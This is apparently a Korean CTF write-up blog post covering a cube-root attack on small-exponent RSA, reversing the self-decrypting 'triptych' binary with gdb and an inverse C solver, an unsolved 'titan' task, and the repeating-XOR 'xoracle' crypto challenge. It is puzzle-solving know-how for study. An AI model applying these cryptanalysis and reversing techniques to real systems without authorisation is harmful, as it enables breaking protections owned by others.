0x10652cdfaa8ab162128a955a58d3b780f2656800796eb70c345c56d7b8523d614ef4ca920471f56493c83ca48500033a0c0b31988ca6e66a76e0ed559b38616688941558b127260cdf70261822929efa0aa6b6d79d1665, 0x10652cdfaa8ab162128a955a58d3b780f2656800796eb70c345c56d7b8523d614ef4ca920471f56493c83ca48500033a0c0b31988ca6e66a76e0ed559b38616688941558b127260cdf70261822929efa0aa6b6d79d1665, 0x10652cdfaa8c2701b8bb7c11fc3218cc2d97cd4707f6de55637bc093f474d231b4d4fe8635261b8e4f772d0e51a25f8e713777a137be6f04e0d28ddd6ec0b852aaf357d33e08aed23e034fcd1ced38542fbeb5aa0eee65] e = 3.00 for idx, c in enumerate(c_list): c_list[idx], perfect = gmpy.root(c, 3) print("%x %d " % (c_list[idx], perfect)) for c in c_list: #c = c**(1.00/e) c=format(int(c), 'x') print("%s " % (c.decode("hex"))) | cs |
하... 이렇게 잘나오는걸 삽질을 그렇게 하다니 ㅡㅡ;
Iterator | Arguments | Results |
---|---|---|
p, q, … [repeat=1] | cartesian product, equivalent to a nested for-loop | |
p[, r] | r-length tuples, all possible orderings, no repeated elements |
triptych ● Reversing ● 100 Points
리버싱 문제다!
triptych 라는 파일을 하나 준다. 일단 hxd로 열어보았다.
함수들이 여러개 보인다.
중요할거 같은 함수로는 main, the_first, the_third가 중요해보인다. 하나하나 살펴보자.
main이다. *MK_FP(__FS__, 40LL)은 뭔지 잘 모르겠으나, 마지막에 가서 원래값과 xor하여 변조됫는지 확인하는 것을 보니 canary 같은 것같다.
코드의 내용으로는 fgets으로 사용자로부터 25만큼 버퍼를 읽어들이고, mprotect를 이용해 0x400000부터 0x401000까지 권한을 rwx(7)로 설정해준다.
0x400000~0x401000은 main과 the_fisrt~the_third의 영역이고... 이 영역에 rwx권한을 모두 주는 것을 보니, 이 영역에 무엇을 할 것인가보다.
그리고 마지막으로 the_first에 사용자로 받은 입력값을 인자로 넣어준다. 이제 the first를 한번 보자.
the_first이다. v3~v7까지의 값을 문자값으로 바꿔보면 이상한 문자열이 나온다. 아마 String값이거나 배열이 저렇게 나온거같다.
C언어라면 원래 이렇게 표현됬을 것 같다. char arr[]="~~문자열~~";
다음으로 for문을 실행해 245만큼 반복하는데, 안의 연산이 좀 이상하다.
&the_second의 주소에 1씩더하면서 그 주소에 있는 값을 위에 있는 배열의 값과 XOR연산해 저장한다.
이렇게하면 the_second 함수에 적힌 명령들이 바뀌게 될것이다.
그럼 한번 the_second함수를 보자.
the_second함수를 보려했으나... 제대로 x-ray되지않는다... C언어로 보고싶엇으나 저렇게 표시되고
명령도 이상하게 보이는걸 보니; the_first의 for문 수행이 the_second의 값을 바꾸어 실행가능하게 해주는 것 같다.
일단 더이상 해석할게 없으니 the_third로 넘어가겠다.
the_third의 값은 또 잘 보인다. 하지만 내용이 제대로 파악이 안된다.
the_second의 내용을 알기위해 gdb로 실행해보겠다.
gdb로 disass해서보니... 엉망인것을 알 수잇다.
역시 for문을 수행하고 나서 정리되는 것 같다.
그래서 the_second함수를 콜하기전에 break를 걸고 disass 해보았다.
값이 제대로 보인다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 | (gdb) disass the_second Dump of assembler code for function the_second: 0x00000000004008fd <+0>: push rbp 0x00000000004008fe <+1>: mov rbp,rsp 0x0000000000400901 <+4>: sub rsp,0x60 0x0000000000400905 <+8>: mov QWORD PTR [rbp-0x58],rdi 0x0000000000400909 <+12>: mov rax,QWORD PTR fs:0x28 0x0000000000400912 <+21>: mov QWORD PTR [rbp-0x8],rax 0x0000000000400916 <+25>: xor eax,eax 0x0000000000400918 <+27>: movabs rax,0x736a647361686868 0x0000000000400922 <+37>: mov QWORD PTR [rbp-0x40],rax 0x0000000000400926 <+41>: movabs rax,0x6873696f6a636f6a 0x0000000000400930 <+51>: mov QWORD PTR [rbp-0x38],rax 0x0000000000400934 <+55>: movabs rax,0x6a7662206b777661 0x000000000040093e <+65>: mov QWORD PTR [rbp-0x30],rax 0x0000000000400942 <+69>: movabs rax,0x76626b647361626b 0x000000000040094c <+79>: mov QWORD PTR [rbp-0x28],rax 0x0000000000400950 <+83>: movabs rax,0x7c7c276638393233 0x000000000040095a <+93>: mov QWORD PTR [rbp-0x20],rax 0x000000000040095e <+97>: mov WORD PTR [rbp-0x18],0x3b3e 0x0000000000400964 <+103>: mov QWORD PTR [rbp-0x48],0x400807 0x000000000040096c <+111>: mov DWORD PTR [rbp-0x4c],0xf5 0x0000000000400973 <+118>: mov DWORD PTR [rbp-0x50],0x0 0x000000000040097a <+125>: jmp 0x4009c8 <the_second+203> 0x000000000040097c <+127>: mov eax,DWORD PTR [rbp-0x50] 0x000000000040097f <+130>: movsxd rdx,eax 0x0000000000400982 <+133>: mov rax,QWORD PTR [rbp-0x48] 0x0000000000400986 <+137>: lea rsi,[rdx+rax*1] 0x000000000040098a <+141>: mov eax,DWORD PTR [rbp-0x50] 0x000000000040098d <+144>: movsxd rdx,eax 0x0000000000400990 <+147>: mov rax,QWORD PTR [rbp-0x48] 0x0000000000400994 <+151>: add rax,rdx 0x0000000000400997 <+154>: movzx edi,BYTE PTR [rax] 0x000000000040099a <+157>: mov ecx,DWORD PTR [rbp-0x50] 0x000000000040099d <+160>: mov edx,0x30c30c31 0x00000000004009a2 <+165>: mov eax,ecx 0x00000000004009a4 <+167>: imul edx 0x00000000004009a6 <+169>: sar edx,0x3 0x00000000004009a9 <+172>: mov eax,ecx 0x00000000004009ab <+174>: sar eax,0x1f 0x00000000004009ae <+177>: sub edx,eax 0x00000000004009b0 <+179>: mov eax,edx 0x00000000004009b2 <+181>: imul eax,eax,0x2a 0x00000000004009b5 <+184>: sub ecx,eax 0x00000000004009b7 <+186>: mov eax,ecx 0x00000000004009b9 <+188>: cdqe 0x00000000004009bb <+190>: movzx eax,BYTE PTR [rbp+rax*1-0x40] 0x00000000004009c0 <+195>: xor eax,edi 0x00000000004009c2 <+197>: mov BYTE PTR [rsi],al 0x00000000004009c4 <+199>: add DWORD PTR [rbp-0x50],0x1 0x00000000004009c8 <+203>: mov eax,DWORD PTR [rbp-0x50] 0x00000000004009cb <+206>: cmp eax,DWORD PTR [rbp-0x4c] 0x00000000004009ce <+209>: jl 0x40097c <the_second+127> 0x00000000004009d0 <+211>: mov rax,QWORD PTR [rbp-0x58] 0x00000000004009d4 <+215>: mov rdi,rax 0x00000000004009d7 <+218>: call 0x400807 <the_third> 0x00000000004009dc <+223>: nop 0x00000000004009dd <+224>: mov rax,QWORD PTR [rbp-0x8] 0x00000000004009e1 <+228>: xor rax,QWORD PTR fs:0x28 0x00000000004009ea <+237>: je 0x4009f1 <the_second+244> 0x00000000004009ec <+239>: call 0x400550 <__stack_chk_fail@plt> 0x00000000004009f1 <+244>: leave 0x00000000004009f2 <+245>: ret End of assembler dump. | cs |
보아하니... the_third의 주소에도 the_second에 수행하는것과 비슷하게 수행하는 것같다.
the_third호출전에 break를 걸고 the_third를 보자.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 | (gdb) disass the_third Dump of assembler code for function the_third: 0x0000000000400807 <+0>: push rbp 0x0000000000400808 <+1>: mov rbp,rsp 0x000000000040080b <+4>: sub rsp,0x60 0x000000000040080f <+8>: mov QWORD PTR [rbp-0x58],rdi 0x0000000000400813 <+12>: mov rax,QWORD PTR fs:0x28 0x000000000040081c <+21>: mov QWORD PTR [rbp-0x8],rax 0x0000000000400820 <+25>: xor eax,eax 0x0000000000400822 <+27>: movabs rax,0x265e245e24736c61 0x000000000040082c <+37>: mov QWORD PTR [rbp-0x40],rax 0x0000000000400830 <+41>: movabs rax,0x69766467736b6720 0x000000000040083a <+51>: mov QWORD PTR [rbp-0x38],rax 0x000000000040083e <+55>: movabs rax,0x3332666972326967 0x0000000000400848 <+65>: mov QWORD PTR [rbp-0x30],rax 0x000000000040084c <+69>: movabs rax,0x6b676b647320282a 0x0000000000400856 <+79>: mov QWORD PTR [rbp-0x28],rax 0x000000000040085a <+83>: movabs rax,0x7a6f70607e202173 0x0000000000400864 <+93>: mov QWORD PTR [rbp-0x20],rax 0x0000000000400868 <+97>: mov WORD PTR [rbp-0x18],0x6961 0x000000000040086e <+103>: mov QWORD PTR [rbp-0x48],0x4006a6 0x0000000000400876 <+111>: mov DWORD PTR [rbp-0x4c],0x160 0x000000000040087d <+118>: mov DWORD PTR [rbp-0x50],0x0 0x0000000000400884 <+125>: jmp 0x4008d2 <the_third+203> 0x0000000000400886 <+127>: mov eax,DWORD PTR [rbp-0x50] 0x0000000000400889 <+130>: movsxd rdx,eax 0x000000000040088c <+133>: mov rax,QWORD PTR [rbp-0x48] 0x0000000000400890 <+137>: lea rsi,[rdx+rax*1] 0x0000000000400894 <+141>: mov eax,DWORD PTR [rbp-0x50] 0x0000000000400897 <+144>: movsxd rdx,eax 0x000000000040089a <+147>: mov rax,QWORD PTR [rbp-0x48] 0x000000000040089e <+151>: add rax,rdx 0x00000000004008a1 <+154>: movzx edi,BYTE PTR [rax] 0x00000000004008a4 <+157>: mov ecx,DWORD PTR [rbp-0x50] 0x00000000004008a7 <+160>: mov edx,0x30c30c31 0x00000000004008ac <+165>: mov eax,ecx 0x00000000004008ae <+167>: imul edx 0x00000000004008b0 <+169>: sar edx,0x3 0x00000000004008b3 <+172>: mov eax,ecx 0x00000000004008b5 <+174>: sar eax,0x1f 0x00000000004008b8 <+177>: sub edx,eax 0x00000000004008ba <+179>: mov eax,edx 0x00000000004008bc <+181>: imul eax,eax,0x2a 0x00000000004008bf <+184>: sub ecx,eax 0x00000000004008c1 <+186>: mov eax,ecx 0x00000000004008c3 <+188>: cdqe 0x00000000004008c5 <+190>: movzx eax,BYTE PTR [rbp+rax*1-0x40] 0x00000000004008ca <+195>: xor eax,edi 0x00000000004008cc <+197>: mov BYTE PTR [rsi],al 0x00000000004008ce <+199>: add DWORD PTR [rbp-0x50],0x1 0x00000000004008d2 <+203>: mov eax,DWORD PTR [rbp-0x50] 0x00000000004008d5 <+206>: cmp eax,DWORD PTR [rbp-0x4c] 0x00000000004008d8 <+209>: jl 0x400886 <the_third+127> 0x00000000004008da <+211>: mov rax,QWORD PTR [rbp-0x58] 0x00000000004008de <+215>: mov rdi,rax 0x00000000004008e1 <+218>: call 0x4006a6 <validate> 0x00000000004008e6 <+223>: nop 0x00000000004008e7 <+224>: mov rax,QWORD PTR [rbp-0x8] 0x00000000004008eb <+228>: xor rax,QWORD PTR fs:0x28 0x00000000004008f4 <+237>: je 0x4008fb <the_third+244> 0x00000000004008f6 <+239>: call 0x400550 <__stack_chk_fail@plt> 0x00000000004008fb <+244>: leave 0x00000000004008fc <+245>: ret | cs |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 | (gdb) disass validate Dump of assembler code for function validate: 0x00000000004006a6 <+0>: push rbp 0x00000000004006a7 <+1>: mov rbp,rsp 0x00000000004006aa <+4>: sub rsp,0x70 0x00000000004006ae <+8>: mov QWORD PTR [rbp-0x68],rdi 0x00000000004006b2 <+12>: mov rax,QWORD PTR fs:0x28 0x00000000004006bb <+21>: mov QWORD PTR [rbp-0x8],rax 0x00000000004006bf <+25>: xor eax,eax 0x00000000004006c1 <+27>: movabs rax,0x797472657771275f 0x00000000004006cb <+37>: mov QWORD PTR [rbp-0x30],rax 0x00000000004006cf <+41>: movabs rax,0x73617d7b706f6975 0x00000000004006d9 <+51>: mov QWORD PTR [rbp-0x28],rax 0x00000000004006dd <+55>: movabs rax,0x7a6c6b6a68676664 0x00000000004006e7 <+65>: mov QWORD PTR [rbp-0x20],rax 0x00000000004006eb <+69>: movabs rax,0x7c6d6e62766378 0x00000000004006f5 <+79>: mov QWORD PTR [rbp-0x18],rax 0x00000000004006f9 <+83>: mov DWORD PTR [rbp-0x5c],0x0 0x0000000000400700 <+90>: jmp 0x400777 <validate+209> 0x0000000000400702 <+92>: mov eax,DWORD PTR [rbp-0x5c] 0x0000000000400705 <+95>: movsxd rdx,eax 0x0000000000400708 <+98>: mov rax,QWORD PTR [rbp-0x68] 0x000000000040070c <+102>: add rax,rdx 0x000000000040070f <+105>: movzx eax,BYTE PTR [rax] 0x0000000000400712 <+108>: cmp al,0x5e 0x0000000000400714 <+110>: jle 0x40072a <validate+132> 0x0000000000400716 <+112>: mov eax,DWORD PTR [rbp-0x5c] 0x0000000000400719 <+115>: movsxd rdx,eax 0x000000000040071c <+118>: mov rax,QWORD PTR [rbp-0x68] ---Type <return> to continue, or q <return> to quit--- 0x0000000000400720 <+122>: add rax,rdx 0x0000000000400723 <+125>: movzx eax,BYTE PTR [rax] 0x0000000000400726 <+128>: cmp al,0x7d 0x0000000000400728 <+130>: jle 0x400734 <validate+142> 0x000000000040072a <+132>: mov edi,0x0 0x000000000040072f <+137>: call 0x400590 <exit@plt> 0x0000000000400734 <+142>: mov DWORD PTR [rbp-0x58],0x0 0x000000000040073b <+149>: jmp 0x40076d <validate+199> 0x000000000040073d <+151>: mov eax,DWORD PTR [rbp-0x58] 0x0000000000400740 <+154>: movsxd rdx,eax 0x0000000000400743 <+157>: mov rax,QWORD PTR [rbp-0x68] 0x0000000000400747 <+161>: add rdx,rax 0x000000000040074a <+164>: mov eax,DWORD PTR [rbp-0x58] 0x000000000040074d <+167>: movsxd rcx,eax 0x0000000000400750 <+170>: mov rax,QWORD PTR [rbp-0x68] 0x0000000000400754 <+174>: add rax,rcx 0x0000000000400757 <+177>: movzx eax,BYTE PTR [rax] 0x000000000040075a <+180>: movsx eax,al 0x000000000040075d <+183>: sub eax,0x5f 0x0000000000400760 <+186>: cdqe 0x0000000000400762 <+188>: movzx eax,BYTE PTR [rbp+rax*1-0x30] 0x0000000000400767 <+193>: mov BYTE PTR [rdx],al 0x0000000000400769 <+195>: add DWORD PTR [rbp-0x58],0x1 0x000000000040076d <+199>: cmp DWORD PTR [rbp-0x58],0x17 0x0000000000400771 <+203>: jle 0x40073d <validate+151> 0x0000000000400773 <+205>: add DWORD PTR [rbp-0x5c],0x1 0x0000000000400777 <+209>: cmp DWORD PTR [rbp-0x5c],0x2 0x000000000040077b <+213>: jle 0x400702 <validate+92> ---Type <return> to continue, or q <return> to quit--- 0x000000000040077d <+215>: movabs rax,0x7b646e6a7d756d7a 0x0000000000400787 <+225>: mov QWORD PTR [rbp-0x50],rax 0x000000000040078b <+229>: movabs rax,0x7b6f646e5f667b6f 0x0000000000400795 <+239>: mov QWORD PTR [rbp-0x48],rax 0x0000000000400799 <+243>: movabs rax,0x61677b5f7a685f7b 0x00000000004007a3 <+253>: mov QWORD PTR [rbp-0x40],rax 0x00000000004007a7 <+257>: mov BYTE PTR [rbp-0x38],0x0 0x00000000004007ab <+261>: mov DWORD PTR [rbp-0x54],0x0 0x00000000004007b2 <+268>: jmp 0x4007e0 <validate+314> 0x00000000004007b4 <+270>: mov eax,DWORD PTR [rbp-0x54] 0x00000000004007b7 <+273>: movsxd rdx,eax 0x00000000004007ba <+276>: mov rax,QWORD PTR [rbp-0x68] 0x00000000004007be <+280>: add rax,rdx 0x00000000004007c1 <+283>: movzx edx,BYTE PTR [rax] 0x00000000004007c4 <+286>: mov eax,DWORD PTR [rbp-0x54] 0x00000000004007c7 <+289>: cdqe 0x00000000004007c9 <+291>: movzx eax,BYTE PTR [rbp+rax*1-0x50] 0x00000000004007ce <+296>: cmp dl,al 0x00000000004007d0 <+298>: je 0x4007dc <validate+310> 0x00000000004007d2 <+300>: mov edi,0x0 0x00000000004007d7 <+305>: call 0x400590 <exit@plt> 0x00000000004007dc <+310>: add DWORD PTR [rbp-0x54],0x1 0x00000000004007e0 <+314>: cmp DWORD PTR [rbp-0x54],0x18 0x00000000004007e4 <+318>: jle 0x4007b4 <validate+270> 0x00000000004007e6 <+320>: mov edi,0x400be4 0x00000000004007eb <+325>: call 0x400540 <puts@plt> 0x00000000004007f0 <+330>: nop 0x00000000004007f1 <+331>: mov rax,QWORD PTR [rbp-0x8] ---Type <return> to continue, or q <return> to quit--- 0x00000000004007f5 <+335>: xor rax,QWORD PTR fs:0x28 0x00000000004007fe <+344>: je 0x400805 <validate+351> 0x0000000000400800 <+346>: call 0x400550 <__stack_chk_fail@plt> 0x0000000000400805 <+351>: leave 0x0000000000400806 <+352>: ret End of assembler dump. | cs |
10. 64-Bit Mode Instructions (64비트 모드 명령)
다음 명령은 64비트 모드에서 소개된 명령이다. 이 모드는 IA-32e 모드의 서브 모드이다.
CDQE - Convert doubleword to quadword
CMPSQ - Compare string operands
CMPXCHG16B - Compare RDX:RAX with m128
LODSQ - Load qword at address (R)SI into RAX
MOVSQ - Move qword from address (R)SI to (R)DI
MOVZX (64-bits) - Move doubleword to quadword, zero-extension
STOSQ - Store RAX at address RDI
SWAPGS - Exchanges current GS base register value with value in MSR address C0000102H
SYSCALL - Fast call to privilege level 0 system procedures
SYSRET - Return from fast system call
굿
C코드로 바꿔보았다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 | #include <stdio.h> int validate(char* s) { char str[]="_\'qwertyuiop{}asdfghjklzxcvbnm|"; char str2[]="zmu}jnd{o{f_ndo{{_hz_{ga"; int i,j; for(i=0; i<=2; i++) { if(s[i]<=94 || s[i]>125) // exit(0); for(j=0; j<=23; j++) { s[j]=str[s[j]-95]; } } for(i=0; i<=24; i++) { if(s[i] != str2[i]) exit(0); } printf("haha nice!"); } | cs |
분석은 알아서 하시게... 이제 풀면된다. 참 긴 여정이였다.
이제 역으로 돌려서 무엇을 넣어야 haha nice! 가 출력되는 지 알아보자...
쉽게하기위해 str2를 역으로 돌리는 코드를 짜보겟다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 | #include <stdio.h> #include <string.h> int main() { char str[]="_\'qwertyuiop{}asdfghjklzxcvbnm|"; char str2[]="zmu}jnd{o{f_ndo{{_hz_{ga"; int i,j,cnt; for(cnt=0; cnt<3; cnt++){ for(i=0; i<strlen(str2); i++) { for(j=0; j<strlen(str); j++){ if(str2[i]==str[j]){ str2[i]=j+95; break; } } } } printf("%s\n",str2); return 0; } | cs |
후... 굿굿!
titan ● Reversing ● 200 Points
HxD로 열어본 모습
Bin > ASC로 바꾸어본것.. 하지만 아무런 성과가 없다.
참고한 사이트 : https://www.hpcalc.org/hp48/docs/faq/48faq-6.html
Kermit의 일부 버전은 ASCII 파일과 이진 파일을 구별하기 때문에 연결의 양쪽 끝 (HP48 SX 끝과 컴퓨터 끝)에서 전송 모드에 대해 걱정해야합니다. 예를 들어, ASCII 파일을받을 때 Unix Kermit은 CR / LF 쌍을 LF로 변환해야합니다. HP48 SX가 이진 파일을 전송하지만 Unix Kermit이 ASCII를 예상하면 이진 파일의 모든 CR / LF 쌍이 LF로 변환되어 이진 파일이 손상됩니다. 불행히도, 당신은 단순히 전송을 되돌리고 Kermit이 LF를 CR / LF로 번역 할 것을 기대함으로써 손상된 이진 파일을 "uncorrupt"할 수 없습니다. 이것은 바이너리 파일이 원래 CR / LF 시퀀스의 일부가 아닌 LF의 발생을 포함 할 수 있기 때문입니다. 이진 파일이 손상되면 스택에 문자 "HPHP48-"로 시작하여 문자열로 표시되고 잔뜩 쓰레기가 계속됩니다. |
열심히 썻는데 다 날라갔네;; 하;;.... 이것도 5~6시간썻는데 결국 못품
나중에 writeup봐야겠다.
xoracle ● Crypto ● 250 Points
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 | #!/usr/bin/env python3 from random import randint from base64 import b64encode def xor(data, key): out = b'' for n in range(len(data)): out += bytes([data[n] ^ key[n % len(key)]]) return out def randkey(): key = b'' for n in range(randint(128, 255)): key += bytes([randint(0, 255)]) return key if __name__ == "__main__": with open('flag', 'rb') as f: data = f.read() print(b64encode(xor(data, randkey())).decode("utf-8")) | cs |
어케 푸는지 모르겠다ㅏㅏㅏㅏ
쉘스크립트를 통해 암호문을 모은다.
꽤 많이 모였다. 이제 저 중에 같은 키길이를 가지는 두 암호문을 찾아보자.
코딩은 알아서 해서... 찾았다.
1.enc와 44,90,95가 같은 키 길이를 가진다.
1.enc의 키의 길이는 172이다. 이제 키 길이는 알았으니, 비제네르 암호와 동일한 방법으로 공격하면 될 것같다.
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
ctf가 끝나버려서.. writeup을 참고
- Repeated XOR - 70 (Cryptography)
- Cracking repeating XOR key crypto
나 나름대로 정리해보겠다...고 생각하였으나; 개념은 이해가 가는데 코드짜기가 어렵다 + (이미 종료된 문제여서 더이상 암호문을 얻을수가 없다)
또... C의 길이가 1536이라는데에서 의문이 생기는데 이걸 이해할수가 없다.
'Write-up > CTF _ Write UP' 카테고리의 다른 글
[HITCON-Training] lab12 : secretgarden (0) | 2019.07.13 |
---|---|
RCTF 2018 Writeup (cpushop / babyre / Misc+) (0) | 2018.05.21 |
DEFCON CTF Quals 2018 Writeup (0) | 2018.05.14 |
[WriteUP] Byte Bandits CTF 2018 (0) | 2018.04.10 |